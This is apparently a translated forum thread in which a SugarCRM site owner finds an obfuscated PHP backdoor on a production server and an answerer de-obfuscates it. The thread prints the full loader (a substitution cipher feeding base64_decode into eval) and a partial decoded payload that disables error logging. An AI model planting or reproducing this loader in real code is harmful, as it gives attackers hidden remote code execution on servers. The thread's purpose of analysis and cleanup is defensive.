2015-09-29 13 views
7

Dagli ultimi 4 giorni, ci troviamo di fronte a strani problemi sul nostro server di produzione (istanza di AWS EC2) specifici per un solo sito che è SugarCRM.file php rinominato automaticamente in php.suspected

Problema è /home/site_folder/public_html/include/MassUpdate.php file viene rinominato automaticamente /home/site_folder/public_html/include/MassUpdate.php.suspected

Questo accade 2-3 volte in un giorno con 3-4 ore di gap. Questo problema si verifica solo nel caso di un sito specifico, anche se non si verifica per la replica di staging dello stesso sito. Ho anche controllato il codice di quel file da entrambi i siti, è lo stesso.

Abbiamo trovato su Google e trovato, tale problema si verifica principalmente per i siti Wordpress e potrebbe essere a causa di un attacco. Ma abbiamo controllato il nostro server contro l'attacco, non ce n'è. Inoltre non vi è alcuna scansione di virus/minacce informatiche in esecuzione sul server.

Cosa dovremmo fare?

Aggiornamento: Abbiamo trovato alcune cose dopo aver attraversato questa link Abbiamo eseguito egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/ e ha scoperto che ci sono alcuni file con seguente codice di esempio.

<?php 
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];} 
$ixo="base64_decode";return $ixo($ggy);} 
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'. 
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X='; 
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f'); 
eval(flnftovr($s, $koicev));?> 

Sembra un malware, come procediamo a rimuoverlo definitivamente?

Grazie

+0

Potrebbe esserci qualche funzione cron in questo. –

+0

No, non c'è questo cron in esecuzione. –

+3

Se si tratta di un'app di produzione, si consiglia di contattare immediatamente un esperto di sicurezza. Puoi controllare i registri del tuo server web per vedere le richieste strane a quel file immediatamente prima che il suo nome venga cambiato? Puoi provare a eseguire questo dal CLI 'find. -name "* .php" -exec grep -H "eval (" {} \; 'dal public_html/level. Questo cercherà tutti i file php che sono stati creati dall'hacker che chiama' eval'. –

risposta

1

E 'un po' offuscato, ma ho de-offuscato it.The funzione flnftovr prende una stringa e un array come argomenti. Si crea una nuova stringa $ ggy utilizzando la formula

isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];} 

E poi preppends base64_decode alla stringa.

La stringa è $ s, la matrice è $ koicev. Quindi valuta il risultato di questa manipolazione. Così alla fine di una stringa viene creato:

base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=) 

Così che in realtà viene eseguito sul server è:

@ini_set('error_log', NULL); 
@ini_set('log_errors', 0); 
@ini_set('max_execution_time', 0); 
@set_time_limit(0); 

if(isset($_SERVER) 
encode(serialize($res)); 
} 

Se non hai creato questo e si sospetta che il sito è stato hackerato, mi piacerebbe suggerire di pulire il server e creare una nuova installazione di qualsiasi app in esecuzione sul server.